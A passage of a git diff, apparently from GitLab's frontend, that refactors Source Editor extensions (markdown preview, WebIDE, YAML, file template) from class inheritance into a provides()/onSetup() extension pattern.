- * each browser screen repaint.
- * @param {Object} instance - The Source Editor instance
- * @param {Array} bounds - The [start, end] array with start
- * and end coordinates for highlighting
- */
static highlightLines(instance, bounds = null) {
const [start, end] =
bounds && Array.isArray(bounds)
@@ -74,29 +85,29 @@ export class SourceEditorExtension {
}
}
- static onMouseMoveHandler(e) {
- const target = e.target.element;
- if (target.classList.contains('line-numbers')) {
- const lineNum = e.target.position.lineNumber;
- const hrefAttr = `#L${lineNum}`;
- let el = target.querySelector('a');
- if (!el) {
- el = createAnchor(hrefAttr);
- target.appendChild(el);
- }
- }
- }
+ // eslint-disable-next-line class-methods-use-this
+ provides() {
+ return {
+ /**
+ * Removes existing line decorations and updates the reference on the instance
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ */
+ removeHighlights: (instance) => {
+ Object.assign(instance, {
+ lineDecorations: instance.deltaDecorations(instance.lineDecorations || [], []),
+ });
+ },
- static setupLineLinking(instance) {
- instance.onMouseMove(SourceEditorExtension.onMouseMoveHandler);
- instance.onMouseDown((e) => {
- const isCorrectAnchor = e.target.element.classList.contains('link-anchor');
- if (!isCorrectAnchor) {
- return;
- }
- if (instance.lineDecorations) {
- instance.deltaDecorations(instance.lineDecorations, []);
- }
- });
+ /**
+ * Returns a function that can only be invoked once between
+ * each browser screen repaint.
+ * @param {Array} bounds - The [start, end] array with start
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * and end coordinates for highlighting
+ */
+ highlightLines(instance, bounds = null) {
+ SourceEditorExtension.highlightLines(instance, bounds);
+ },
+ };
}
}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js b/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js
index 397e090ed30..ba4980896e5 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js
@@ -1,8 +1,16 @@
import { Position } from 'monaco-editor';
-import { SourceEditorExtension } from './source_editor_extension_base';
-export class FileTemplateExtension extends SourceEditorExtension {
- navigateFileStart() {
- this.setPosition(new Position(1, 1));
+export class FileTemplateExtension {
+ static get extensionName() {
+ return 'FileTemplate';
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ provides() {
+ return {
+ navigateFileStart: (instance) => {
+ instance.setPosition(new Position(1, 1));
+ },
+ };
}
}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js b/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js
index 57de21c933e..a16fe93026e 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js
@@ -1,248 +1,102 @@
-import { debounce } from 'lodash';
-import { BLOB_PREVIEW_ERROR } from '~/blob_edit/constants';
-import createFlash from '~/flash';
-import { sanitize } from '~/lib/dompurify';
-import axios from '~/lib/utils/axios_utils';
-import { __ } from '~/locale';
-import syntaxHighlight from '~/syntax_highlight';
-import {
- EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS,
- EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
- EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
- EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS,
- EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY,
-} from '../constants';
-import { SourceEditorExtension } from './source_editor_extension_base';
-
-const getPreview = (text, previewMarkdownPath) => {
- return axios
- .post(previewMarkdownPath, {
- text,
- })
- .then(({ data }) => {
- return data.body;
- });
-};
-
-const setupDomElement = ({ injectToEl = null } = {}) => {
- const previewEl = document.createElement('div');
- previewEl.classList.add(EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS);
- previewEl.style.display = 'none';
- if (injectToEl) {
- injectToEl.appendChild(previewEl);
+export class EditorMarkdownExtension {
+ static get extensionName() {
+ return 'EditorMarkdown';
}
- return previewEl;
-};
-export class EditorMarkdownExtension extends SourceEditorExtension {
- constructor({ instance, previewMarkdownPath, ...args } = {}) {
- super({ instance, ...args });
- Object.assign(instance, {
- previewMarkdownPath,
- preview: {
- el: undefined,
- action: undefined,
- shown: false,
- modelChangeListener: undefined,
+ // eslint-disable-next-line class-methods-use-this
+ provides() {
+ return {
+ getSelectedText: (instance, selection = instance.getSelection()) => {
+ const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
+ const valArray = instance.getValue().split('\n');
+ let text = '';
+ if (startLineNumber === endLineNumber) {
+ text = valArray[startLineNumber - 1].slice(startColumn - 1, endColumn - 1);
+ } else {
+ const startLineText = valArray[startLineNumber - 1].slice(startColumn - 1);
+ const endLineText = valArray[endLineNumber - 1].slice(0, endColumn - 1);
+
+ for (let i = startLineNumber, k = endLineNumber - 1; i < k; i += 1) {
+ text += `${valArray[i]}`;
+ if (i !== k - 1) text += `\n`;
+ }
+ text = text
+ ? [startLineText, text, endLineText].join('\n')
+ : [startLineText, endLineText].join('\n');
+ }
+ return text;
},
- });
- this.setupPreviewAction.call(instance);
-
- instance.getModel().onDidChangeLanguage(({ newLanguage, oldLanguage } = {}) => {
- if (newLanguage === 'markdown' && oldLanguage !== newLanguage) {
- instance.setupPreviewAction();
- } else {
- instance.cleanup();
- }
- });
-
- instance.onDidChangeModel(() => {
- const model = instance.getModel();
- if (model) {
- const { language } = model.getLanguageIdentifier();
- instance.cleanup();
- if (language === 'markdown') {
- instance.setupPreviewAction();
+ replaceSelectedText: (instance, text, select) => {
+ const forceMoveMarkers = !select;
+ instance.executeEdits('', [{ range: instance.getSelection(), text, forceMoveMarkers }]);
+ },
+ moveCursor: (instance, dx = 0, dy = 0) => {
+ const pos = instance.getPosition();
+ pos.column += dx;
+ pos.lineNumber += dy;
+ instance.setPosition(pos);
+ },
+ /**
+ * Adjust existing selection to select text within the original selection.
+ * - If `selectedText` is not supplied, we fetch selected text with
+ *
+ * ALGORITHM:
+ *
+ * MULTI-LINE SELECTION
+ * 1. Find line that contains `toSelect` text.
+ * 2. Using the index of this line and the position of `toSelect` text in it,
+ * construct:
+ * * newStartLineNumber
+ * * newStartColumn
+ *
+ * SINGLE-LINE SELECTION
+ * 1. Use `startLineNumber` from the current selection as `newStartLineNumber`
+ * 2. Find the position of `toSelect` text in it to get `newStartColumn`
+ *
+ * 3. `newEndLineNumber` — Since this method is supposed to be used with
+ * markdown decorators that are pretty short, the `newEndLineNumber` is
+ * suggested to be assumed the same as the startLine.
+ * 4. `newEndColumn` — pretty obvious
+ * 5. Adjust the start and end positions of the current selection
+ * 6. Re-set selection on the instance
+ *
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance. Is passed automatically.
+ * @param {string} toSelect - New text to select within current selection.
+ * @param {string} selectedText - Currently selected text. It's just a
+ * shortcut: If it's not supplied, we fetch selected text from the instance
+ */
+ selectWithinSelection: (instance, toSelect, selectedText) => {
+ const currentSelection = instance.getSelection();
+ if (currentSelection.isEmpty() || !toSelect) {
+ return;
+ }
+ const text = selectedText || instance.getSelectedText(currentSelection);
+ let lineShift;
+ let newStartLineNumber;
+ let newStartColumn;
+
+ const textLines = text.split('\n');
+
+ if (textLines.length > 1) {
+ // Multi-line selection
+ lineShift = textLines.findIndex((line) => line.indexOf(toSelect) !== -1);
+ newStartLineNumber = currentSelection.startLineNumber + lineShift;
+ newStartColumn = textLines[lineShift].indexOf(toSelect) + 1;
+ } else {
+ // Single-line selection
+ newStartLineNumber = currentSelection.startLineNumber;
+ newStartColumn = currentSelection.startColumn + text.indexOf(toSelect);
}
- }
- });
- }
-
- static togglePreviewLayout() {
- const { width, height } = this.getLayoutInfo();
- const newWidth = this.preview.shown
- ? width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH
- : width * EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH;
- this.layout({ width: newWidth, height });
- }
-
- static togglePreviewPanel() {
- const parentEl = this.getDomNode().parentElement;
- const { el: previewEl } = this.preview;
- parentEl.classList.toggle(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS);
-
- if (previewEl.style.display === 'none') {
- // Show the preview panel
- this.fetchPreview();
- } else {
- // Hide the preview panel
- previewEl.style.display = 'none';
- }
- }
-
- cleanup() {
- if (this.preview.modelChangeListener) {
- this.preview.modelChangeListener.dispose();
- }
- this.preview.action.dispose();
- if (this.preview.shown) {
- EditorMarkdownExtension.togglePreviewPanel.call(this);
- EditorMarkdownExtension.togglePreviewLayout.call(this);
- }
- this.preview.shown = false;
- }
-
- fetchPreview() {
- const { el: previewEl } = this.preview;
- getPreview(this.getValue(), this.previewMarkdownPath)
- .then((data) => {
- previewEl.innerHTML = sanitize(data);
- syntaxHighlight(previewEl.querySelectorAll('.js-syntax-highlight'));
- previewEl.style.display = 'block';
- })
- .catch(() => createFlash(BLOB_PREVIEW_ERROR));
- }
- setupPreviewAction() {
- if (this.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)) return;
+ const newEndLineNumber = newStartLineNumber;
+ const newEndColumn = newStartColumn + toSelect.length;
- this.preview.action = this.addAction({
- id: EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
- label: __('Preview Markdown'),
- keybindings: [
- // eslint-disable-next-line no-bitwise,no-undef
- monaco.KeyMod.chord(monaco.KeyMod.CtrlCmd | monaco.KeyMod.Shift | monaco.KeyCode.KEY_P),
- ],
- contextMenuGroupId: 'navigation',
- contextMenuOrder: 1.5,
+ const newSelection = currentSelection
+ .setStartPosition(newStartLineNumber, newStartColumn)
+ .setEndPosition(newEndLineNumber, newEndColumn);
- // Method that will be executed when the action is triggered.
- // @param ed The editor instance is passed in as a convenience
- run(instance) {
- instance.togglePreview();
+ instance.setSelection(newSelection);
},
- });
- }
-
- togglePreview() {
- if (!this.preview?.el) {
- this.preview.el = setupDomElement({ injectToEl: this.getDomNode().parentElement });
- }
- EditorMarkdownExtension.togglePreviewLayout.call(this);
- EditorMarkdownExtension.togglePreviewPanel.call(this);
-
- if (!this.preview?.shown) {
- this.preview.modelChangeListener = this.onDidChangeModelContent(
- debounce(this.fetchPreview.bind(this), EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY),
- );
- } else {
- this.preview.modelChangeListener.dispose();
- }
-
- this.preview.shown = !this.preview?.shown;
- }
-
- getSelectedText(selection = this.getSelection()) {
- const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
- const valArray = this.getValue().split('\n');
- let text = '';
- if (startLineNumber === endLineNumber) {
- text = valArray[startLineNumber - 1].slice(startColumn - 1, endColumn - 1);
- } else {
- const startLineText = valArray[startLineNumber - 1].slice(startColumn - 1);
- const endLineText = valArray[endLineNumber - 1].slice(0, endColumn - 1);
-
- for (let i = startLineNumber, k = endLineNumber - 1; i < k; i += 1) {
- text += `${valArray[i]}`;
- if (i !== k - 1) text += `\n`;
- }
- text = text
- ? [startLineText, text, endLineText].join('\n')
- : [startLineText, endLineText].join('\n');
- }
- return text;
- }
-
- replaceSelectedText(text, select = undefined) {
- const forceMoveMarkers = !select;
- this.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
- }
-
- moveCursor(dx = 0, dy = 0) {
- const pos = this.getPosition();
- pos.column += dx;
- pos.lineNumber += dy;
- this.setPosition(pos);
- }
-
- /**
- * Adjust existing selection to select text within the original selection.
- * - If `selectedText` is not supplied, we fetch selected text with
- *
- * ALGORITHM:
- *
- * MULTI-LINE SELECTION
- * 1. Find line that contains `toSelect` text.
- * 2. Using the index of this line and the position of `toSelect` text in it,
- * construct:
- * * newStartLineNumber
- * * newStartColumn
- *
- * SINGLE-LINE SELECTION
- * 1. Use `startLineNumber` from the current selection as `newStartLineNumber`
- * 2. Find the position of `toSelect` text in it to get `newStartColumn`
- *
- * 3. `newEndLineNumber` — Since this method is supposed to be used with
- * markdown decorators that are pretty short, the `newEndLineNumber` is
- * suggested to be assumed the same as the startLine.
- * 4. `newEndColumn` — pretty obvious
- * 5. Adjust the start and end positions of the current selection
- * 6. Re-set selection on the instance
- *
- * @param {string} toSelect - New text to select within current selection.
- * @param {string} selectedText - Currently selected text. It's just a
- * shortcut: If it's not supplied, we fetch selected text from the instance
- */
- selectWithinSelection(toSelect, selectedText) {
- const currentSelection = this.getSelection();
- if (currentSelection.isEmpty() || !toSelect) {
- return;
- }
- const text = selectedText || this.getSelectedText(currentSelection);
- let lineShift;
- let newStartLineNumber;
- let newStartColumn;
-
- const textLines = text.split('\n');
-
- if (textLines.length > 1) {
- // Multi-line selection
- lineShift = textLines.findIndex((line) => line.indexOf(toSelect) !== -1);
- newStartLineNumber = currentSelection.startLineNumber + lineShift;
- newStartColumn = textLines[lineShift].indexOf(toSelect) + 1;
- } else {
- // Single-line selection
- newStartLineNumber = currentSelection.startLineNumber;
- newStartColumn = currentSelection.startColumn + text.indexOf(toSelect);
- }
-
- const newEndLineNumber = newStartLineNumber;
- const newEndColumn = newStartColumn + toSelect.length;
-
- const newSelection = currentSelection
- .setStartPosition(newStartLineNumber, newStartColumn)
- .setEndPosition(newEndLineNumber, newEndColumn);
-
- this.setSelection(newSelection);
+ };
}
}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_markdown_livepreview_ext.js b/app/assets/javascripts/editor/extensions/source_editor_markdown_livepreview_ext.js
new file mode 100644
index 00000000000..9d53268c340
--- /dev/null
+++ b/app/assets/javascripts/editor/extensions/source_editor_markdown_livepreview_ext.js
@@ -0,0 +1,167 @@
+import { debounce } from 'lodash';
+import { BLOB_PREVIEW_ERROR } from '~/blob_edit/constants';
+import createFlash from '~/flash';
+import { sanitize } from '~/lib/dompurify';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+import syntaxHighlight from '~/syntax_highlight';
+import {
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS,
+ EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS,
+ EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY,
+} from '../constants';
+
+const fetchPreview = (text, previewMarkdownPath) => {
+ return axios
+ .post(previewMarkdownPath, {
+ text,
+ })
+ .then(({ data }) => {
+ return data.body;
+ });
+};
+
+const setupDomElement = ({ injectToEl = null } = {}) => {
+ const previewEl = document.createElement('div');
+ previewEl.classList.add(EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS);
+ previewEl.style.display = 'none';
+ if (injectToEl) {
+ injectToEl.appendChild(previewEl);
+ }
+ return previewEl;
+};
+
+export class EditorMarkdownPreviewExtension {
+ static get extensionName() {
+ return 'EditorMarkdownPreview';
+ }
+
+ onSetup(instance, setupOptions) {
+ this.preview = {
+ el: undefined,
+ action: undefined,
+ shown: false,
+ modelChangeListener: undefined,
+ path: setupOptions.previewMarkdownPath,
+ };
+ this.setupPreviewAction(instance);
+
+ instance.getModel().onDidChangeLanguage(({ newLanguage, oldLanguage } = {}) => {
+ if (newLanguage === 'markdown' && oldLanguage !== newLanguage) {
+ instance.setupPreviewAction();
+ } else {
+ instance.cleanup();
+ }
+ });
+
+ instance.onDidChangeModel(() => {
+ const model = instance.getModel();
+ if (model) {
+ const { language } = model.getLanguageIdentifier();
+ instance.cleanup();
+ if (language === 'markdown') {
+ instance.setupPreviewAction();
+ }
+ }
+ });
+ }
+
+ togglePreviewLayout(instance) {
+ const { width, height } = instance.getLayoutInfo();
+ const newWidth = this.preview.shown
+ ? width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH
+ : width * EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH;
+ instance.layout({ width: newWidth, height });
+ }
+
+ togglePreviewPanel(instance) {
+ const parentEl = instance.getDomNode().parentElement;
+ const { el: previewEl } = this.preview;
+ parentEl.classList.toggle(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS);
+
+ if (previewEl.style.display === 'none') {
+ // Show the preview panel
+ this.fetchPreview(instance);
+ } else {
+ // Hide the preview panel
+ previewEl.style.display = 'none';
+ }
+ }
+
+ fetchPreview(instance) {
+ const { el: previewEl } = this.preview;
+ fetchPreview(instance.getValue(), this.preview.path)
+ .then((data) => {
+ previewEl.innerHTML = sanitize(data);
+ syntaxHighlight(previewEl.querySelectorAll('.js-syntax-highlight'));
+ previewEl.style.display = 'block';
+ })
+ .catch(() => createFlash(BLOB_PREVIEW_ERROR));
+ }
+
+ setupPreviewAction(instance) {
+ if (instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)) return;
+
+ this.preview.action = instance.addAction({
+ id: EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
+ label: __('Preview Markdown'),
+ keybindings: [
+ // eslint-disable-next-line no-bitwise,no-undef
+ monaco.KeyMod.chord(monaco.KeyMod.CtrlCmd | monaco.KeyMod.Shift | monaco.KeyCode.KEY_P),
+ ],
+ contextMenuGroupId: 'navigation',
+ contextMenuOrder: 1.5,
+
+ // Method that will be executed when the action is triggered.
+ // @param ed The editor instance is passed in as a convenience
+ run(inst) {
+ inst.togglePreview();
+ },
+ });
+ }
+
+ provides() {
+ return {
+ markdownPreview: this.preview,
+
+ cleanup: (instance) => {
+ if (this.preview.modelChangeListener) {
+ this.preview.modelChangeListener.dispose();
+ }
+ this.preview.action.dispose();
+ if (this.preview.shown) {
+ this.togglePreviewPanel(instance);
+ this.togglePreviewLayout(instance);
+ }
+ this.preview.shown = false;
+ },
+
+ fetchPreview: (instance) => this.fetchPreview(instance),
+
+ setupPreviewAction: (instance) => this.setupPreviewAction(instance),
+
+ togglePreview: (instance) => {
+ if (!this.preview?.el) {
+ this.preview.el = setupDomElement({ injectToEl: instance.getDomNode().parentElement });
+ }
+ this.togglePreviewLayout(instance);
+ this.togglePreviewPanel(instance);
+
+ if (!this.preview?.shown) {
+ this.preview.modelChangeListener = instance.onDidChangeModelContent(
+ debounce(
+ this.fetchPreview.bind(this, instance),
+ EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY,
+ ),
+ );
+ } else {
+ this.preview.modelChangeListener.dispose();
+ }
+
+ this.preview.shown = !this.preview?.shown;
+ },
+ };
+ }
+}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js b/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js
index 98e05489c1c..4e8c11bac54 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_webide_ext.js
@@ -1,7 +1,15 @@
+/**
+ * A WebIDE Extension options for Source Editor
+ * @typedef {Object} WebIDEExtensionOptions
+ * @property {Object} modelManager The root manager for WebIDE models
+ * @property {Object} store The state store for communication
+ * @property {Object} file
+ * @property {Object} options The Monaco editor options
+ */
+
import { debounce } from 'lodash';
import { KeyCode, KeyMod, Range } from 'monaco-editor';
import { EDITOR_TYPE_DIFF } from '~/editor/constants';
-import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import Disposable from '~/ide/lib/common/disposable';
import { editorOptions } from '~/ide/lib/editor_options';
import keymap from '~/ide/lib/keymap.json';
@@ -11,154 +19,168 @@ const isDiffEditorType = (instance) => {
};
export const UPDATE_DIMENSIONS_DELAY = 200;
+const defaultOptions = {
+ modelManager: undefined,
+ store: undefined,
+ file: undefined,
+ options: {},
+};
-export class EditorWebIdeExtension extends SourceEditorExtension {
- constructor({ instance, modelManager, ...options } = {}) {
- super({
- instance,
- ...options,
- modelManager,
- disposable: new Disposable(),
- debouncedUpdate: debounce(() => {
- instance.updateDimensions();
- }, UPDATE_DIMENSIONS_DELAY),
- });
-
- window.addEventListener('resize', instance.debouncedUpdate, false);
-
- instance.onDidDispose(() => {
- window.removeEventListener('resize', instance.debouncedUpdate);
-
- // catch any potential errors with disposing the error
- // this is mainly for tests caused by elements not existing
- try {
- instance.disposable.dispose();
- } catch (e) {
- if (process.env.NODE_ENV !== 'test') {
- // eslint-disable-next-line no-console
- console.error(e);
- }
- }
- });
+const addActions = (instance, store) => {
+ const getKeyCode = (key) => {
+ const monacoKeyMod = key.indexOf('KEY_') === 0;
- EditorWebIdeExtension.addActions(instance);
- }
+ return monacoKeyMod ? KeyCode[key] : KeyMod[key];
+ };
- static addActions(instance) {
- const { store } = instance;
- const getKeyCode = (key) => {
- const monacoKeyMod = key.indexOf('KEY_') === 0;
+ keymap.forEach((command) => {
+ const { bindings, id, label, action } = command;
- return monacoKeyMod ? KeyCode[key] : KeyMod[key];
- };
+ const keybindings = bindings.map((binding) => {
+ const keys = binding.split('+');
- keymap.forEach((command) => {
- const { bindings, id, label, action } = command;
-
- const keybindings = bindings.map((binding) => {
- const keys = binding.split('+');
-
- // eslint-disable-next-line no-bitwise
- return keys.length > 1 ? getKeyCode(keys[0]) | getKeyCode(keys[1]) : getKeyCode(keys[0]);
- });
-
- instance.addAction({
- id,
- label,
- keybindings,
- run() {
- store.dispatch(action.name, action.params);
- return null;
- },
- });
+ // eslint-disable-next-line no-bitwise
+ return keys.length > 1 ? getKeyCode(keys[0]) | getKeyCode(keys[1]) : getKeyCode(keys[0]);
});
- }
-
- createModel(file, head = null) {
- return this.modelManager.addModel(file, head);
- }
-
- attachModel(model) {
- if (isDiffEditorType(this)) {
- this.setModel({
- original: model.getOriginalModel(),
- modified: model.getModel(),
- });
- return;
- }
-
- this.setModel(model.getModel());
+ instance.addAction({
+ id,
+ label,
+ keybindings,
+ run() {
+ store.dispatch(action.name, action.params);
+ return null;
+ },
+ });
+ });
+};
- this.updateOptions(
- editorOptions.reduce((acc, obj) => {
- Object.keys(obj).forEach((key) => {
- Object.assign(acc, {
- [key]: obj[key](model),
- });
- });
- return acc;
- }, {}),
- );
- }
+const renderSideBySide = (domElement) => {
+ return domElement.offsetWidth >= 700;
+};
- attachMergeRequestModel(model) {
- this.setModel({
- original: model.getBaseModel(),
- modified: model.getModel(),
+const updateInstanceDimensions = (instance) => {
+ instance.layout();
+ if (isDiffEditorType(instance)) {
+ instance.updateOptions({
+ renderSideBySide: renderSideBySide(instance.getDomNode()),
});
}
+};
- updateDimensions() {
- this.layout();
- this.updateDiffView();
+export class EditorWebIdeExtension {
+ static get extensionName() {
+ return 'EditorWebIde';
}
- setPos({ lineNumber, column }) {
- this.revealPositionInCenter({
- lineNumber,
- column,
- });
- this.setPosition({
- lineNumber,
- column,
- });
+ /**
+ * Set up the WebIDE extension for Source Editor
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param {WebIDEExtensionOptions} setupOptions
+ */
+ onSetup(instance, setupOptions = defaultOptions) {
+ this.modelManager = setupOptions.modelManager;
+ this.store = setupOptions.store;
+ this.file = setupOptions.file;
+ this.options = setupOptions.options;
+
+ this.disposable = new Disposable();
+ this.debouncedUpdate = debounce(() => {
+ updateInstanceDimensions(instance);
+ }, UPDATE_DIMENSIONS_DELAY);
+
+ addActions(instance, setupOptions.store);
}
- onPositionChange(cb) {
- if (!this.onDidChangeCursorPosition) {
- return;
- }
+ onUse(instance) {
+ window.addEventListener('resize', this.debouncedUpdate, false);
- this.disposable.add(this.onDidChangeCursorPosition((e) => cb(this, e)));
+ instance.onDidDispose(() => {
+ this.onUnuse();
+ });
}
- updateDiffView() {
- if (!isDiffEditorType(this)) {
- return;
+ onUnuse() {
+ window.removeEventListener('resize', this.debouncedUpdate);
+
+ // catch any potential errors with disposing the error
+ // this is mainly for tests caused by elements not existing
+ try {
+ this.disposable.dispose();
+ } catch (e) {
+ if (process.env.NODE_ENV !== 'test') {
+ // eslint-disable-next-line no-console
+ console.error(e);
+ }
}
-
- this.updateOptions({
- renderSideBySide: EditorWebIdeExtension.renderSideBySide(this.getDomNode()),
- });
}
- replaceSelectedText(text) {
- let selection = this.getSelection();
- const range = new Range(
- selection.startLineNumber,
- selection.startColumn,
- selection.endLineNumber,
- selection.endColumn,
- );
+ provides() {
+ return {
+ createModel: (instance, file, head = null) => {
+ return this.modelManager.addModel(file, head);
+ },
+ attachModel: (instance, model) => {
+ if (isDiffEditorType(instance)) {
+ instance.setModel({
+ original: model.getOriginalModel(),
+ modified: model.getModel(),
+ });
- this.executeEdits('', [{ range, text }]);
+ return;
+ }
- selection = this.getSelection();
- this.setPosition({ lineNumber: selection.endLineNumber, column: selection.endColumn });
- }
+ instance.setModel(model.getModel());
+
+ instance.updateOptions(
+ editorOptions.reduce((acc, obj) => {
+ Object.keys(obj).forEach((key) => {
+ Object.assign(acc, {
+ [key]: obj[key](model),
+ });
+ });
+ return acc;
+ }, {}),
+ );
+ },
+ attachMergeRequestModel: (instance, model) => {
+ instance.setModel({
+ original: model.getBaseModel(),
+ modified: model.getModel(),
+ });
+ },
+ updateDimensions: (instance) => updateInstanceDimensions(instance),
+ setPos: (instance, { lineNumber, column }) => {
+ instance.revealPositionInCenter({
+ lineNumber,
+ column,
+ });
+ instance.setPosition({
+ lineNumber,
+ column,
+ });
+ },
+ onPositionChange: (instance, cb) => {
+ if (typeof instance.onDidChangeCursorPosition !== 'function') {
+ return;
+ }
- static renderSideBySide(domElement) {
- return domElement.offsetWidth >= 700;
+ this.disposable.add(instance.onDidChangeCursorPosition((e) => cb(instance, e)));
+ },
+ replaceSelectedText: (instance, text) => {
+ let selection = instance.getSelection();
+ const range = new Range(
+ selection.startLineNumber,
+ selection.startColumn,
+ selection.endLineNumber,
+ selection.endColumn,
+ );
+
+ instance.executeEdits('', [{ range, text }]);
+
+ selection = instance.getSelection();
+ instance.setPosition({ lineNumber: selection.endLineNumber, column: selection.endColumn });
+ },
+ };
}
}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_yaml_ext.js b/app/assets/javascripts/editor/extensions/source_editor_yaml_ext.js
index 212e09c8724..05ce617ca7c 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_yaml_ext.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_yaml_ext.js
@@ -1,50 +1,46 @@
+/**
+ * A Yaml Editor Extension options for Source Editor
+ * @typedef {Object} YamlEditorExtensionOptions
+ * @property { boolean } enableComments Convert model nodes with the comment
+ * pattern to comments?
+ * @property { string } highlightPath Add a line highlight to the
+ * node specified by this e.g. `"foo.bar[0]"`
+ * @property { * } model Any JS Object that will be stringified and used as the
+ * editor's value. Equivalent to using `setDataModel()`
+ * @property options SourceEditorExtension Options
+ */
+
import { toPath } from 'lodash';
import { parseDocument, Document, visit, isScalar, isCollection, isMap } from 'yaml';
import { findPair } from 'yaml/util';
-import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
-export class YamlEditorExtension extends SourceEditorExtension {
+export class YamlEditorExtension {
+ static get extensionName() {
+ return 'YamlEditor';
+ }
+
/**
* Extends the source editor with capabilities for yaml files.
*
- * @param { Instance } instance Source Editor Instance
- * @param { boolean } enableComments Convert model nodes with the comment
- * pattern to comments?
- * @param { string } highlightPath Add a line highlight to the
- * node specified by this e.g. `"foo.bar[0]"`
- * @param { * } model Any JS Object that will be stringified and used as the
- * editor's value. Equivalent to using `setDataModel()`
- * @param options SourceEditorExtension Options
+ * @param {module:source_editor_instance~EditorInstance} instance - The Source Editor instance
+ * @param {YamlEditorExtensionOptions} setupOptions
*/
- constructor({
- instance,
- enableComments = false,
- highlightPath = null,
- model = null,
- ...options
- } = {}) {
- super({
- instance,
- options: {
- ...options,
- enableComments,
- highlightPath,
- },
- });
+ onSetup(instance, setupOptions = {}) {
+ const { enableComments = false, highlightPath = null, model = null } = setupOptions;
+ this.enableComments = enableComments;
+ this.highlightPath = highlightPath;
+ this.model = model;
if (model) {
- YamlEditorExtension.initFromModel(instance, model);
+ this.initFromModel(instance, model);
}
instance.onDidChangeModelContent(() => instance.onUpdate());
}
- /**
- * @private
- */
- static initFromModel(instance, model) {
+ initFromModel(instance, model) {
const doc = new Document(model);
- if (instance.options.enableComments) {
+ if (this.enableComments) {
YamlEditorExtension.transformComments(doc);
}
instance.setValue(doc.toString());
@@ -160,110 +156,13 @@ export class YamlEditorExtension extends SourceEditorExtension {
return doc;
}
- /**
- * Get the editor's value parsed as a `Document` as defined by the `yaml`
- * package
- * @returns {Document}
- */
- getDoc() {
- return parseDocument(this.getValue());
- }
-
- /**
- * Accepts a `Document` as defined by the `yaml` package and
- * sets the Editor's value to a stringified version of it.
- * @param { Document } doc
- */
- setDoc(doc) {
- if (this.options.enableComments) {
- YamlEditorExtension.transformComments(doc);
- }
-
- if (!this.getValue()) {
- this.setValue(doc.toString());
- } else {
- this.updateValue(doc.toString());
- }
- }
-
- /**
- * Returns the parsed value of the Editor's content as JS.
- * @returns {*}
- */
- getDataModel() {
- return this.getDoc().toJS();
- }
-
- /**
- * Accepts any JS Object and sets the Editor's value to a stringified version
- * of that value.
- *
- * @param value
- */
- setDataModel(value) {
- this.setDoc(new Document(value));
- }
-
- /**
- * Method to be executed when the Editor's <TextModel> was updated
- */
- onUpdate() {
- if (this.options.highlightPath) {
- this.highlight(this.options.highlightPath);
- }
- }
-
- /**
- * Set the editors content to the input without recreating the content model.
- *
- * @param blob
- */
- updateValue(blob) {
- // Using applyEdits() instead of setValue() ensures that tokens such as
- // highlighted lines aren't deleted/recreated which causes a flicker.
- const model = this.getModel();
- model.applyEdits([
- {
- // A nice improvement would be to replace getFullModelRange() with
- // a range of the actual diff, avoiding re-formatting the document,
- // but that's something for a later iteration.
- range: model.getFullModelRange(),
- text: blob,
- },
- ]);
- }
-
- /**
- * Add a line highlight style to the node specified by the path.
- *
- * @param {string|null|false} path A path to a node of the Editor's value,
- * e.g. `"foo.bar[0]"`. If the value is falsy, this will remove all
- * highlights.
- */
- highlight(path) {
- if (this.options.highlightPath === path) return;
- if (!path) {
- SourceEditorExtension.removeHighlights(this);
- } else {
